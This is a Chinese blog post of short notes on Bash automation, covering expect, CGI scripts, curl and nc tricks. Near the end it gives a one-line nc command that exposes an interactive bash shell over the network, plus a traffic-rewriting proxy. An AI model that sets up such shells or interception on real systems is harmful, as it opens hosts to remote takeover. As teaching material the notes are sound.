Bash自动化

自动化交互

  • 批处理并不等于自动化
  • 让交互程序实现非交互执行
  • 借用第三方工具expect

自动输入方法.

  • <<文档字符串。可以实现对序列化输入的操作自动化
  • 管道方式 echo 'pasword' I passwd
  • 去掉 sudo 密码提示,也可通过修改sudoer文件
  • 去掉ssh密码,也可以通过添加认证
  • expect

except

image.png

实用命令

一-键搭建web网站

  • python2 -m CGIHTTPServer 8000
  • python3 -m http.server -cgi 8000

CGI-Bin技术

#!/ bin/ bash
echo "Content-type: text/html"
echo ""
curl http://www.baidu.com/s?$QUERY_STRING 2>/dev/null
  • 把代码放到cgi-bin目录下,增加可执行权限
  • 使用apache或者python server运行

处理post请求

cgi() {
  echo -e "Content-type:text/plain\n\n"
  echo $REQUEST_METHOD
  if [ "$REQUEST METHOD" = "POST" ]; then
    read -n $CONTENT_LENGTH post
    echo $post
  fi
}

curl网络请求

  • get
  • post
  • cookie

jq

最强大的黑客工具nc

  • 端口转发:cat /tmp/fifo | nc localhost 8000 | nc -l 9000 > /tmp/fifo
  • 转发请求并修改内容
mkfifo /tmp/fifo
nc -lk 8080 < /tmp/fifo \
| sed -l -e 's/^Host.*/Host:site.baidu.com/' | tee -a /tmp/req.log \
| nc site.baidu.com 80 | tee -a /tmp/res > /tmp/fifo
  • 反弹Shell:cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 8000 > /tmp/fifo
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • shell piping管道 shell输入输出 read 用来读取输入,并赋值给变量 echo,printf ...
    芝芝复吱吱阅读 1,522评论 0 0
  • 转自:http://www.freebuf.com/sectool/105524.html 本文为作者总结自己在渗...
    许安念安阅读 5,723评论 0 10
  • 1.什么是监控 2.为什么要做监控 系统为什么要做监控:监控是整个运维乃至整个产品生命周期中最重要的一环.事前及时...
    Gq赵阅读 1,008评论 0 0
  • #!/bin/bashyum install gcc gcc-c++ autoconf automake apr-...
    SkTj阅读 436评论 0 1
  • Python 面向对象Python从设计之初就已经是一门面向对象的语言,正因为如此,在Python中创建一个类和对...
    顺毛阅读 4,250评论 4 16